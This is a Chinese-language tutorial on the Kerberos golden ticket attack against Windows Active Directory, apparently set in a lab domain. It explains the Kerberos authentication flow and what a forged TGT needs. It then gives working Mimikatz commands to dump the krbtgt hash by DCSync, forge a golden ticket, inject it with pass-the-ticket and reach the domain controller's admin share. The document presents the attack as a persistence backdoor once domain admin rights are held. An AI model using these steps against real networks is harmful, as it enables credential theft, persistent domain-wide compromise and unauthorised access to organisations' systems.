一、黄金票据攻击介绍
黄金票据攻击是网络安全领域中一种重要的渗透攻击手段。它利用Kerberos身份认证协议中的漏洞,允许攻击者伪造域控krbtgt用户的TGT(Ticket-Granting Ticket)。一旦攻击者成功伪造了TGT,他们就可以访问网络中的任何资源,而无需知道任何有效用户的账户凭据。这种攻击方式可以让攻击者在域中提升权限,甚至取得域管理员权限。
黄金票据攻击的前提是攻击者需要获得管理员访问域控制器的权限,并抓取到krbtgt hash。攻击者通常会通过运行恶意软件、使用其他恶意攻击手段,或者通过收集系统中存在的凭证、使用暴力破解等方式获取这些必要的信息。
黄金票据攻击的核心在于伪造不受TGT生命周期影响的票据。正常情况下,TGT具有默认的生命周期(通常为10小时),并可以最多续订7天。然而,通过黄金票据攻击,攻击者可以生成一个不受这些限制影响的TGT,从而长期访问网络资源。
二、Kerberos认证流程
Windows 的认证协议主要有两种,一种是 NTLM 认证,另一种是 Kerberos认证。
这里主要简单说一下Kerberos认证方式,这是一种基于票据的认证方式,有客户端、服务器和KDC(DC,Domain Controller)组成。
认证流程::
- 用户请求认证:用户首先向Kerberos认证服务器发送认证请求,这个请求中包含了用户的身份信息,如用户名和密码。
- 服务器验证并生成票据:Kerberos认证服务器收到请求后,会检查用户提供的用户名和密码是否匹配。如果匹配,服务器会生成一个票据授权票(TGT),这个TGT包含了用户的身份信息以及一些加密的信息,用于后续的身份验证过程。
- 票据加密与分发:Kerberos认证服务器使用自己的私钥对TGT进行加密,然后将加密后的TGT发送给用户。只有Kerberos认证服务器和用户能够解密这个票据。
- 用户解密并请求服务认证:用户收到加密的TGT后,使用自己的密码进行解密,获取到一个票据授权服务(TGS)。然后,用户向TGS发送服务认证请求,这个请求中包含了需要访问的服务名以及TGS。
- TGS验证并生成服务票据:TGS验证用户提供的TGS是否有效。如果有效,TGS会生成一个服务票据,这个服务票据是针对用户请求访问的特定服务的。TGS使用服务的密钥对服务票据进行加密,然后将加密后的服务票据发送给用户。
- 用户访问服务:用户收到加密的服务票据后,向所需访问的服务发送请求,并附上服务票据。服务收到请求后,会使用自己的密钥解密服务票据,并验证其有效性。
- 服务验证并提供服务:如果服务票据验证有效,服务就会确认用户的身份,并允许用户访问相应的资源或执行相应的操作。
三、黄金票据的制作条件
黄金票据的制作条件主要包括以下几个方面:
- 域名称:制作黄金票据需要知道目标域的DNS根域名,这通常可以通过AD PowerShell模块中的
(Get-ADDomain).DNSRoot
命令获取。 - 域的SID值:SID(安全标识符)是每个域的唯一标识符,制作黄金票据时需要知道目标域的SID值,这可以通过AD PowerShell模块中的
(Get-ADDomain).DomainSID.Value
命令获取。 - KRBTGT账户NTLM密码哈希:KRBTGT是Kerberos认证过程中的一个重要账户,其密码哈希是制作黄金票据的关键信息。攻击者通常需要管理员权限来访问域控制器,并使用工具如Mimikatz来提取KRBTGT账户的密码哈希。
- 伪造用户名:黄金票据允许攻击者伪造一个有效的Kerberos票据,因此还需要一个伪造的用户名,以模拟合法用户的身份进行认证
注意:
制作域管的TGT票据,首先需要获取Krbtgt账户的密码hash,而Krbtgt账户的密码hash存储在域控制器上,因此需要活动域管理员权限。
综上,是个死循环,所以黄金票据攻击,并不是一种普通的攻击方式,该攻击方式其实是一种后门的形式,属于第二次进行攻击的方法,第一次拿到域管权限之后,需要将krbtgt hash进行保存,当第二次再来进行渗透攻击时,我们就可以使用krbtgt hash制作黄金票据,从而获得管理员权限。
四、制作黄金票据,也就是伪造TGT
1.获取Krbtgt的hash
首先以管理员权限,在域控制器上执行mimikatz命令:
privilege::debug
lsadump::dcsync /user:krbtgt
记录Krbtgt用户的以下信息:
Hash NTLM: 4c32d497137ce2fbc28c297e73a87889
aes256_hmac: 414818be77de302b3801226cfe04599fb9aabfe114231a29d1386ee4d6507067
2.域sid
在普通域成员机器上,使用 “whoami /user” 获取。
记录普通域用户id信息:
student01:S-1-5-21-3792756393-3386897061-2081858749
3.域账户
域账户:student01
4.域名
在普通域成员机器上,使用 “systeminfo” 获取。
记录域名:college.com
制作黄金票据所需内容
Hash NTLM:4c32d497137ce2fbc28c297e73a87889
域名:college.com
域账户:student01
域sid:S-1-5-21-3792756393-3386897061-2081858749
使用mimikatz制作黄金票据
在获取上面信息后,使用mimikatz工具生成黄金票据(普通域用户权限即可制作),过程如下:
1.查看当前票据
kerberos::list
2.清空票据 #防止之前的票据对新作的票据产生影响
kerberos::purge
3.制作黄金票据 /admin:用户名任意 /ticket:票据名称任意即可
kerberos::golden /admin:administrator /domain:college.com /sid:S-1-5-21-3792756393-3386897061-2081858749 /krbtgt:4c32d497137ce2fbc28c297e73a87889 /ticket:ticket.kirbi
会在当前目录下生成黄金票据:
4.导入黄金票据
kerberos::ptt ticket.kirbi
kerberos::list
5.在普通域用户机器上,重新打开cmd窗口,可以直接列出域控目录
dir \dc.college.com\c$